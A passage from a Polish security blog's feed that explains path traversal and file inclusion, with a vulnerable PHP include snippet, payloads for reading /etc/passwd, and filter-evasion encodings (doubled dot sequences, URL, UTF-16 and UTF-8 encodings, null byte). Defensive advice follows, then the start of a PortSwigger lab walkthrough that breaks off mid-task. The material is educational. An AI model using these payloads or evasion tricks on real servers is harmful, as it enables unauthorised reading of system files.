<pre class="wp-block-code"><code class="">http://example.com/image?avatar=img678.png</code></pre>



<p class="wp-block-paragraph">Tak może wyglądać kod po stronie podatnej aplikacji:</p>



<pre class="wp-block-code"><code class="">&lt;?php
$file = $_GET['avatar'];
include('var/www/images/' . $file);
?&gt;</code></pre>



<p class="wp-block-paragraph">Parametr <code>file</code> określa który plik graficzny ma się wyświetlać danemu użytkownikowi. W normalnych warunkach powinna się wyświetlić grafika, której nazwa znajduje się w adresie URL w parametrze <code>avatar</code>.</p>



<p class="wp-block-paragraph">Jednak kod jest podatny na ataki path traversal, ponieważ łączy dane wejściowe dostarczone przez użytkownika ze ścieżką do pliku bez odpowiedniej walidacji. Atakujący może łatwo wykorzystać tę lukę, dostarczając ładunek, taki jak np. <code>../../../etc/passwd</code>, który umożliwia przechodzenie w górę hierarchii katalogów i uzyskiwanie dostępu do poufnych plików na serwerze. Ponieważ aplikacja nie jest odpowiednio zabezpieczona, atakujący może zmodyfikować powyższy adres zmieniając parametr <code>avatar</code> w poniższy sposób:</p>



<pre class="wp-block-code"><code class="">http://example.com/image?avatar=../../../etc/passwd</code></pre>



<p class="wp-block-paragraph">Zmanipulowany kod po stronie serwera wyglądałby następująco:</p>



<pre class="wp-block-code"><code class="">&lt;?php
$file ='../../../etc/passwd';
include('var/www/images/' . $file);
?&gt;</code></pre>



<p class="wp-block-paragraph">W efekcie serwer wskazuje pod adres:</p>



<pre class="wp-block-code"><code class="">/var/www/images/../../../etc/passwd</code></pre>



<p class="wp-block-paragraph">Znak <code>../</code> oznacza przejście do katalogu nadrzędnego, tak więc w rezultacie serwer wyświetli zawartość pliku <code>etc/passwd</code>, zamiast grafiki z awatarem.</p>



<p class="wp-block-paragraph">Jeśli nie zapewnimy odpowiedniej walidacji przekazywanych danych do naszej aplikacji, ostatnią deską ratunku będą odpowiednio niskie uprawnienia. Jeśli będą one zbyt wysokie, wtedy atakujący z powodzeniem wykona swój atak.</p>



<h2 class="wp-block-heading">Czym jest File Inclusion</h2>



<p class="wp-block-paragraph"><strong>File Inclusion</strong> to rodzaj podatności, która pozwala atakującym na dołączenie i wykonanie kodu z plików (lokalnych lub zdalnych) w kontekście aplikacji. Często występuje w językach programowania takich jak PHP, gdzie funkcje dołączające pliki (np. include(), require()) są źle zabezpieczone. Wyróżnia się dwa rodzaje podatności <strong>File Inclusion</strong>:</p>



<ul class="wp-block-list">
<li><strong>Local File Inclusion (LFI) </strong>&#8211; to luka w zabezpieczeniach aplikacji, która polega na wyświetleniu zawartości plików lub wykonaniu kodu z plików znajdujących się lokalnie na serwerze. LFI może prowadzić do dalszej eskalacji ataku. Atakujący może nawet przejąć kontrolę nad serwerem.</li>



<li><strong>Remote File Inclusion (RFI)</strong> &#8211; to luka, która pozwala atakującemu na dołączenie i wykonanie kodu z plików znajdujących się na zdalnym serwerze. W przypadku gdy aplikacja jest źle skonfigurowana (np. funkcja allow_url_include w PHP jest włączona), plik zostanie pobrany i wykonany w kontekście serwera aplikacji. W ten sposób można uruchomić złośliwy kod, który pozwala na kradzież danych, wykonanie dowolnych poleceń lub nawet przejęcie kontroli nad serwerem.</li>
</ul>



<h2 class="wp-block-heading">Jaka jest różnica pomiędzy Path Traversal a File Inclusion</h2>



<ol class="wp-block-list">
<li><strong>Charakter podatności</strong><br>Path Traversal umożliwia atakującemu odczyt plików i katalogów do których nie powinien mieć dostępu. <br>Natomiast File Inclusion pozwala na dołączanie lub wykonywanie i odczytywanie dowolnych plików z lokalnego lub zdalnego serwera.</li>



<li><strong>Wpływ na serwer</strong><br>Path Traversal umożliwia atakującemu dostęp do poufnych plików i katalogów na serwerze. Może to prowadzić do kradzieży danych lub nawet przejęcia serwera.<br>File Inclusion umożliwia atakującemu wykonanie dowolnego kodu z pliku na serwerze. Prowadzi to do całkowitego naruszenia bezpieczeństwa serwera.</li>



<li><strong>Skutek</strong><br>Obie podatności mogą nieść ze sobą poważne skutki. Jednak przyjmuje się, że File Inclusion jest poważniejsza z uwagi na możliwość wykonania dowolnego kodu na serwerze.</li>



<li><strong>Przyczyna</strong><br>Zarówno Path Traversal, jak i File Inclusion mogą być spowodowane przez niewystarczającą walidację oraz brak odpowiedniej kontroli dostępu. Path Traversal występuje, gdy aplikacja nie może zweryfikować danych wejściowych użytkownika używanych do uzyskania dostępu do systemu plików, natomiast File Inclusion występuje, gdy dane wejściowe użytkownika są używane do dołączenia plików ze zdalnego lub lokalnego serwera bez odpowiedniej walidacji.</li>
</ol>



<h2 class="wp-block-heading">Jak ominąć filtry</h2>



<p class="wp-block-paragraph">Path Traversal jest znaną i dość popularną podatnością i w związku z tym oprogramowania klasy IDS (ang. <em>Intrusion Detection System</em>), czyli systemy wykrywania włamań, wykrywają i skutecznie unicestwiają znane ataki, poprzez usuwanie z zapytań ciągów<strong> <code>../</code></strong> oraz ich wariacji. Poniżej opisuję kilka sposobów na ominięcie filtrów.</p>



<h3 class="wp-block-heading">Użycie wariacji znaków . / \</h3>



<p class="wp-block-paragraph">Jeśli system ochrony usuwa tylko raz z zapytania sekwencję <strong><code>../</code></strong>, bez ponownego sprawdzenia przekazanego ciągu zapytania, jest możliwe ominięcie zabezpieczeń dodając dodatkowe znaki kropek i ukośników. Takie zapytanie może mieć wtedy postać:</p>



<pre class="wp-block-code"><code class="">....//....//....//etc/passwd</code></pre>



<p class="wp-block-paragraph">Sekwencje w czerwonych ramkach na poniższym zrzucie są usuwane przez system zabezpieczający:</p>



<figure class="wp-block-image size-full is-resized"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger.png"><img loading="lazy" decoding="async" width="800" height="211" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger.png" alt="Co to jest path traversal" class="wp-image-15050" style="width:600px" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger.png 800w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-300x79.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-768x203.png 768w" sizes="auto, (max-width: 800px) 100vw, 800px" data-mwl-img-id="15050" /></a></figure>



<p class="wp-block-paragraph">Po usunięciu powyższych znaków otrzymujemy zapytanie jak na poniższym rzucie:</p>



<figure class="wp-block-image size-full is-resized"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2.png"><img loading="lazy" decoding="async" width="335" height="93" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2.png" alt="Co to jest path traversal" class="wp-image-15052" style="width:400px" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2.png 335w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-2-300x83.png 300w" sizes="auto, (max-width: 335px) 100vw, 335px" data-mwl-img-id="15052" /></a></figure>



<p class="wp-block-paragraph">Jak widzisz system zabezpieczający powinien dokonać rekurencyjnej walidacji.</p>



<h3 class="wp-block-heading">Kodowanie znaków</h3>



<p class="wp-block-paragraph">Jeśli jednak system zabezpieczający działa prawidłowo w powyższym zakresie, możesz zastosować:</p>



<ul class="wp-block-list">
<li>kodowanie URL (<code>.</code> = <code>%2E</code>, <code>/</code> = <code>%2F</code>, <code>\</code> = <code>%5C</code>)</li>



<li>podwójne kodowanie URL (<code>.</code> = <code>%252E</code>, <code>/</code> = <code>%252F</code>, <code>\</code> = <code>%255C</code>)</li>



<li>kodowanie UTF-16 (<code>.</code> = <code>%u002e</code>, <code>/</code> = <code>%u2215</code>, <code>\ </code>= <code>%u2216</code>)</li>



<li>pojedyncze lub wielokrotne kodowanie UTF-8 (<code>.</code> = <code>%c0%2e</code> , <code>/ </code>= <code>%c0%af</code>, <code>\</code> =  <code>%c0%5c</code>).</li>
</ul>



<p class="wp-block-paragraph">Poniżej zestawienie w tabelce:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>Znak wyjściowy</strong></td><td>.</td><td>/</td><td>\</td></tr><tr><td><strong>Kodowanie procentowe URL</strong></td><td>%2E</td><td>%2F</td><td>%5C</td></tr><tr><td><strong>Kodowanie podwójne procentowe URL</strong></td><td>%252E</td><td>%252F</td><td>%255C</td></tr><tr><td><strong>Kodowanie UTF-16</strong></td><td>%u002e</td><td>%u2215</td><td>%u2216</td></tr><tr><td><strong>Pojedyncze kodowanie UTF-8</strong></td><td>%c0%2e</td><td>%c0%af</td><td>%c0%5c</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Można również mieszać ze sobą różne rodzaje kodowania, aby utrudnić detekcję. W niektórych systemach można zamienić zwykłe ukośniki na odwrotne.</p>



<h3 class="wp-block-heading">Zastosowanie bajtu zerowego</h3>



<p class="wp-block-paragraph">W sytuacji gdy aplikacja wymaga, aby podana przez użytkownika nazwa pliku kończyła się oczekiwanym rozszerzeniem, np. <code>.png</code>, wówczas możliwe jest użycie bajtu zerowego, aby skutecznie zakończyć ścieżkę pliku przed wymaganym rozszerzeniem:</p>



<pre class="wp-block-code"><code class="">filename=../../../etc/passwd%00.png</code></pre>



<p class="has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color wp-elements-12 wp-block-paragraph"><strong>Bajt zerowy</strong> (inaczej znak pusty, null character) jest zdefiniowany w&nbsp;standardach ASCII i&nbsp;Unicode Bajt. Oznacza koniec łańcucha. Bajt zerowy jest oznaczony: <strong>%00.</strong> Wszystko co&nbsp;się za&nbsp;nim znajduje jest ignorowane.</p>



<h3 class="wp-block-heading">Użycie ścieżki bezwzględnej</h3>



<p class="wp-block-paragraph">Czasem może być tak, że aplikacja pozwala na użycie ścieżki bezwzględnej. Więcej na ten temat przeczytasz w tym artykule: <a href="https://pentestuj.pl/path-traversal-web-security-academy-portswigger#zadanie-nr-2" target="_blank" rel="noreferrer noopener">Podatność Path Traversal – rozwiązanie zadań PortSwigger wraz z&nbsp;omówieniem.</a></p>



<h2 class="wp-block-heading">Narzędzia do lokalizowania podatności Path Traversal</h2>



<p class="wp-block-paragraph">Podatności Path Traversal można szukać ręcznie. W takim przypadku wystarczy program <a href="https://portswigger.net/burp/communitydownload" target="_blank" rel="noreferrer noopener nofollow">Burp Suite</a> lub <a href="https://www.zaproxy.org/" target="_blank" rel="noreferrer noopener nofollow">OWASP ZAP</a>, za pomocą których możemy przechwytywać zapytania i je modyfikować.</p>



<p class="wp-block-paragraph">Drugą opcją jest skorzystanie z automatycznych skanerów podatności np. <a href="https://www.kali.org/tools/dotdotpwn/" target="_blank" rel="noreferrer noopener nofollow">DotDotPwn</a>. Oczywiście wyższej wymienione programy również posiadają zaawansowane skanery.</p>



<p class="wp-block-paragraph">Poniższej znajdziesz listę narzędzi, które są bardzo pomocne w szukaniu podatności Path Traversal:</p>



<ul class="wp-block-list">
<li><strong><a href="https://portswigger.net/burp/releases/professional-community-edition-2025-12-5?requestededition=community&amp;requestedplatform=" target="_blank" rel="noreferrer noopener nofollow">Burp Suite</a></strong> &#8211;  jest to najpopularniejsze narzędzie do przechwytywania i modyfikowania zapytań do serwera. W wersji Community dostępny jest moduł Intruder za pomocą którego można sprawdzić dostępność popularnych lokacji na serwerach poprzez fuzzing. Należy jednak zaznaczyć, że w bezpłatnej wersji szybkość fuzzowania jest znacznie wolniejsza niż w wersji Professional. Ponadto w wersji płatnej do dyspozycji mamy skaner, który potrafi wykryć m.in. podatność Path Traversal.</li>



<li><strong><a href="https://www.zaproxy.org/" target="_blank" rel="noreferrer noopener nofollow">OWASP ZAP (Zed Attack Proxy)</a> – </strong>jest to alternatywa dla Burp Suite. OWASP ZAP jest narzędziem open source i jest rozwijany przez Open Web Application Security Project (OWASP). OWASP ZAP również posiada skaner podatności i jest dostępny w pełni za free.</li>



<li><strong><a href="https://www.kali.org/tools/dirbuster/" target="_blank" rel="noreferrer noopener nofollow">DirBuster</a> </strong>– narzędzie to również jest rozwijane przez OWASP. Za jego pomocą można zlokalizować ukryte pliki i katalogi poprzez fuzzing.</li>



<li><strong><a href="https://www.kali.org/tools/dotdotpwn/" target="_blank" rel="noreferrer noopener nofollow">DotDotPwn</a> </strong>&#8211; narzędzie to, jak sama nazwa wskazuje, jest specjalnie zaprojektowane do testowania luk w zabezpieczeniach typu Directory Traversal. Działa poprzez wysyłanie specjalnie spreparowanych żądań do serwera i analizowanie odpowiedzi.</li>
</ul>



<h2 class="wp-block-heading">Czym może skutkować obecność Path Traversal i File Insclusion w aplikacji</h2>



<p class="wp-block-paragraph">Wykorzystanie luki w zabezpieczeniach typu Path Traversal oraz File Inclusion może prowadzić do różnych konsekwencji, w zależności od specyfiki podatności, a także konfiguracji serwera, np.:</p>



<ul class="wp-block-list">
<li><strong>Odczyt dowolnych plików</strong> &#8211; najprostszym sposobem wykorzystania tej podatności jest uzyskanie dostępu do dowolnych katalogów oraz plików na serwerze. Może to skutkować ujawnieniem poufnych informacji, takich jak pliki konfiguracyjne, kod źródłowy aplikacji, dane do logowania do bazy danych, itp. Tego typu wyciek danych może stanowić poważne zagrożenie dla bezpieczeństwa całego systemu. Warto również wspomnieć o tym, że w niektórych przypadkach możliwe jest również wylistowanie zawartości danego katalogu.</li>



<li><strong>Wgrywanie dowolnych plików </strong>&#8211; w pewnych sytuacjach atakujący może wykorzystać podatność do wgrywania swoich plików na serwer. Przykładowo atakujący może zmodyfikować plik konfiguracyjny, co może zakłócić działanie aplikacji lub nawet pozwolić atakującemu na uruchomienie własnego kodu. Atakujący może też nadpisać plik z danymi, co może skutkować ich utratą lub uszkodzeniem.</li>



<li><strong>Wykonanie kodu na serwerze</strong> &#8211; w niektórych przypadkach atakujący może wykorzystać podatność do uruchomienia dowolnego kodu na serwerze. Zazwyczaj osiąga się to poprzez zapisanie pliku, który później zostanie wykonany przez serwer. Jeśli aplikacja internetowa działa w PHP i atakujący może dzięki luce zapisać plik z rozszerzeniem <em>.php</em> na serwerze, może później wymusić jego uruchomienie przez serwer. W efekcie serwer wykona kod zawarty w pliku, co pozwoli atakującemu przejąć nad nim kontrolę.</li>
</ul>



<h2 class="wp-block-heading">Jak zabezpieczyć swoją aplikację przed Path Traversal</h2>



<h3 class="wp-block-heading">Odpowiednia walidacja</h3>



<p class="wp-block-paragraph">Upewnij się, że wszystkie dane wejściowe, które są kontrolowane przez użytkownika są prawidłowo walidowane i oczyszczane. Jest to kluczowy krok, aby uniemożliwić atakującym manipulowanie ścieżkami oraz dołączanie złośliwych plików.</p>



<h3 class="wp-block-heading">Unikaj czarnych list</h3>



<p class="wp-block-paragraph">Czarna lista jest złą praktyką, ponieważ istnieje więcej sposobów na wykonanie tego samego żądania. Sprytni atakujący zawsze znajdą sposoby na ominięcie ograniczeń dla danych wejściowych dostarczanych przez użytkownika. Na przykład ../../../etc/ można również zapisać w następujący sposób: ..%2F..%2F..%2Fetc%2F.</p>



<p class="wp-block-paragraph">Jeśli chcesz mieć dostęp do określonych plików, użyj białą listę obejmującą pliki, które mogą być dołączane do żądania. Jeśli to możliwe, odrzuć każde żądanie, które nie spełnia tych kryteriów.</p>



<h3 class="wp-block-heading">Odpowiednio skonfiguruj serwer</h3>



<p class="wp-block-paragraph">Skonfiguruj ustawienia serwera, tak aby uniemożliwić zdalne dołączanie plików, a także ograniczyć możliwość dostępu skryptów do systemu plików. W przypadku PHP dyrektywy takie jak allow_url_fopen i allow_url_include powinny być wyłączone, jeśli nie są potrzebne do działania aplikacji.</p>



<h3 class="wp-block-heading">Regularnie testuj swoją aplikację</h3>



<p class="wp-block-paragraph">Warto regularnie przeprowadzać audyty bezpieczeństwa aplikacji pod kątem występowania potencjalnych luk. Zadanie to możemy sobie ułatwić korzystając z zautomatyzowanych narzędzi. Pamiętaj jednak, że nie zawsze skaner wykryje wszystkie luki. Dlatego właśnie warto także przeprowadzić ręczną kontrolę. </p>



<h2 class="wp-block-heading">Podsumowanie</h2>



<p class="wp-block-paragraph">Luki w zabezpieczeniach związane z przechodzeniem przez ścieżki stanowią poważne zagrożenie, które może skutkować ujawnieniem poufnych danych lub nawet wykonaniem dowolnego kodu. Pomimo, że Path Traversal i File Inclusion nie są nowymi podatnościami, ale nadal można je znaleźć w różnego rodzajach aplikacjach. Programiści powinni zdawać sobie sprawę z tego ryzyka i podjąć działania, aby je ograniczyć w swoich projektach.</p>
<p>Artykuł <a href="https://pentestuj.pl/co-to-jest-podatnosc-path-traversal-file-inclusion/">Co to jest podatność Path Traversal i File Inclusion? Czym się różnią obie podatności?</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/co-to-jest-podatnosc-path-traversal-file-inclusion/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Podatność Path Traversal &#8211; rozwiązanie zadań PortSwigger wraz z omówieniem</title>
		<link>https://pentestuj.pl/path-traversal-web-security-academy-portswigger/</link>
					<comments>https://pentestuj.pl/path-traversal-web-security-academy-portswigger/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Tue, 21 Jan 2025 07:00:52 +0000</pubDate>
				<category><![CDATA[Testy bezpieczeństwa]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=14995</guid>

					<description><![CDATA[<p>Na stronie PortSwigger w dziale Web Security Academy jest dostępnych 6 zadań, dzięki którym możemy poćwiczyć wykorzystanie podatności Path Traversal. W poradniku pokażę rozwiązanie tych zadań. Sądzę że warto rozumieć czym jest Path Traversal, żeby potem móc jej szukać w rzeczywistych aplikacjach, ponieważ pomimo że jest to stara podatność, nadal się pojawia. File Path Traversal [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/path-traversal-web-security-academy-portswigger/">Podatność Path Traversal &#8211; rozwiązanie zadań PortSwigger wraz z omówieniem</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Na stronie <a href="https://portswigger.net/web-security/all-labs#path-traversal" target="_blank" rel="noreferrer noopener nofollow">PortSwigger</a> w dziale Web Security Academy jest dostępnych 6 zadań, dzięki którym możemy poćwiczyć wykorzystanie podatności Path Traversal. W poradniku pokażę rozwiązanie tych  zadań. Sądzę że warto rozumieć czym jest Path Traversal, żeby potem móc jej szukać w rzeczywistych aplikacjach, ponieważ pomimo że jest to stara podatność, nadal się pojawia.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-laboratorium-portswigger.png"><img decoding="async" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-laboratorium-portswigger.png" alt="path traversal laboratorium portswigger" class="wp-image-15118" data-mwl-img-id="15118"/></a></figure>



<h2 class="wp-block-heading">File Path Traversal simple &#8211; zadanie numer 1</h2>



<div class="wp-block-kadence-advancedbtn kb-buttons-wrap kb-btns14995_d0ad8d-74"><a class="kb-button kt-button button kb-btn14995_0e8957-a1 kt-btn-size-small kt-btn-width-type-auto kb-btn-global-fill kt-btn-has-text-true kt-btn-has-svg-false wp-block-kadence-singlebtn" href="https://portswigger.net/web-security/file-path-traversal/lab-simple" target="_blank" rel="noreferrer noopener nofollow sponsored"><span class="kt-btn-inner-text">Przejdź do zadania</span></a></div>



<p class="wp-block-paragraph">Żeby rozwiązać to zadanie musimy wyświetlić zawartość pliku <code>etc/passwd</code>. Jest to plik który standardowo występuje w systemie Linux.  W pliku tym znajdują się informacje na temat zarejestrowanych użytkowników w danym systemie. W opisie zadania mamy wskazówkę, że luka znajduje się w mechanizmie odpowiedzialnym za wyświetlanie zdjęć produktowych.</p>



<p class="wp-block-paragraph"><strong>Treść laboratorium:</strong></p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-1-1.png"><img decoding="async" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-1-1.png" alt="File path traversal, simple case" class="wp-image-15117" data-mwl-img-id="15117"/></a></figure>



<p class="wp-block-paragraph">Zajrzyjmy jak wygląda pierwsze laboratorium. Jest to sklep internetowy. Jeśli klikniemy w dany produkt, możemy zauważyć, że przy każdym produkcie są gwiazdki z oceną, cena, zdjęcie, opis oraz link powrotny. Ponieważ w opisie zadania jest informacja, że luka znajduje się w mechanizmie wyświetlania obrazków produktów, musimy  bliżej się temu przyjrzeć.</p>



<p class="wp-block-paragraph">Otwórzmy zdjęcie dowolnego produktu w nowej zakładce, żeby zobaczyć jaką strukturę ma adres URL:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-3-1.png"><img loading="lazy" decoding="async" width="765" height="403" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-3-1.png" alt="File path traversal, simple case" class="wp-image-15010" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-3-1.png 765w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-3-1-300x158.png 300w" sizes="auto, (max-width: 765px) 100vw, 765px" data-mwl-img-id="15010" /></a></figure>



<p class="wp-block-paragraph">Zauważ, że nazwa obrazka jest wartością przekazywaną do parametru <code>filename</code>.</p>



<p class="wp-block-paragraph">Dla porównania sprawdźmy adres URL grafiki przy innym produkcie:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-4-2.png"><img loading="lazy" decoding="async" width="775" height="478" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-4-2.png" alt="File path traversal, simple case" class="wp-image-15012" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-4-2.png 775w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-4-2-300x185.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-4-2-768x474.png 768w" sizes="auto, (max-width: 775px) 100vw, 775px" data-mwl-img-id="15012" /></a></figure>



<p class="wp-block-paragraph">Adres URL tych dwóch obrazków różni się tylko wartością parametru <code>filename</code>.</p>



<p class="wp-block-paragraph">Zajrzyjmy jeszcze do źródła strony w miejscu gdzie wyświetla się nasza grafika:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy.png"><img loading="lazy" decoding="async" width="789" height="607" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy.png" alt="File path traversal, simple case" class="wp-image-15006" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy.png 789w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-300x231.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-768x591.png 768w" sizes="auto, (max-width: 789px) 100vw, 789px" data-mwl-img-id="15006" /></a></figure>



<p class="wp-block-paragraph">Możemy z tego wywnioskować, że z adresu URL jest pobierana nazwa obrazka w formie jawnej i jest przekazywana do kodu odpowiedzialnego za wyświetlanie grafiki na stronie. Tak więc w tym miejscu spróbujemy dodać nasz payload, czyli przekażemy zmodyfikowaną wartość do parametru <code>filename</code>.</p>



<p class="wp-block-paragraph">Odpalmy program Burp Suite. W zakładce <strong>Proxy -&gt; HTTP History</strong> znajdujemy żądanie wyświetlenia grafiki do wybranego produktu. Niestety u mnie nie widać tego żądania, ponieważ w filtrowaniu mam wyłączony ten typ żądania</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2.png"><img loading="lazy" decoding="async" width="1024" height="556" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2-1024x556.png" alt="File path traversal, simple case" class="wp-image-15007" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2-1024x556.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2-300x163.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2-768x417.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2-1536x834.png 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-2.png 1553w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15007" /></a></figure>



<p class="wp-block-paragraph"> Żeby to włączyć, w zakładce <strong>Proxy -&gt; HTTP History</strong> kliknij <strong>Filter settings: Hiding CSS and general binary content</strong>. Następnie zaznacz checkbox <strong>Images</strong>.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-3-1.png"><img loading="lazy" decoding="async" width="1024" height="520" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-3-1-1024x520.png" alt="File path traversal, simple case" class="wp-image-15015" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-3-1-1024x520.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-3-1-300x152.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-3-1-768x390.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-web-security-academy-3-1.png 1470w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15015" /></a></figure>



<p class="wp-block-paragraph">Od teraz interesujące nas żądanie pojawiło się w historii. Klikamy na nie prawym przyciskiem myszy i wysyłamy do Repeatera. Dzięki temu będziemy mogli zmodyfikować je dodając nasz payload i ponownie wysyłając do serwera.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-1.png"><img loading="lazy" decoding="async" width="1024" height="553" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-1-1024x553.png" alt="path traversal zadanie z websecurity academy" class="wp-image-15018" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-1-1024x553.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-1-300x162.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-1-768x415.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-1.png 1052w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15018" /></a></figure>



<p class="wp-block-paragraph">Teraz spróbujemy przejść o jeden katalog wyżej i wyświetlić zawartość <code>etc/passwd</code> zastępując nazwę pliku w parametrze <code>filename</code> sekwencją:</p>



<pre class="wp-block-code"><code class="">../etc/passwd</code></pre>



<p class="wp-block-paragraph">Po wpisaniu naszego payloada w parametrze <code>filename</code> klikamy przycisk <strong>Send</strong>. W ten sposób wyślemy zmodyfikowane żądanie do serwera. Niestety w odpowiedzi mamy informację <strong>&#8222;No such file&#8221;</strong>, tak więc payload nie zadziałał.</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-1.png"><img loading="lazy" decoding="async" width="1024" height="403" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-1-1024x403.png" alt="path traversal portswigger zadanie" class="wp-image-15020" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-1-1024x403.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-1-300x118.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-1-768x303.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-2-1.png 1226w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15020" /></a></figure>



<p class="wp-block-paragraph">Spróbujmy przejść o jeszcze jeden katalog wyżej dodając sekwencję <code>../</code></p>



<pre class="wp-block-code"><code class="">../../etc/passwd</code></pre>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-3.png"><img loading="lazy" decoding="async" width="1024" height="396" src="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-3-1024x396.png" alt="path traversal portswigger zadanie" class="wp-image-15005" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-3-1024x396.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-3-300x116.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-3-768x297.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/path-traversal-portswigger-3.png 1223w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15005" /></a></figure>



<p class="wp-block-paragraph">Niestety nadal nie działa. Spróbujmy przejść jeszcze wyżej:</p>



<pre class="wp-block-code"><code class="">../../../etc/passwd</code></pre>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="611" src="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-5-1024x611.png" alt="path traversal zadanie z websecurity academy" class="wp-image-15002" srcset="https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-5-1024x611.png 1024w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-5-300x179.png 300w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-5-768x458.png 768w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-5-1536x916.png 1536w, https://pentestuj.pl/wp-content/uploads/2024/11/file-path-traversal-simple-5.png 1549w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15002" /></figure>



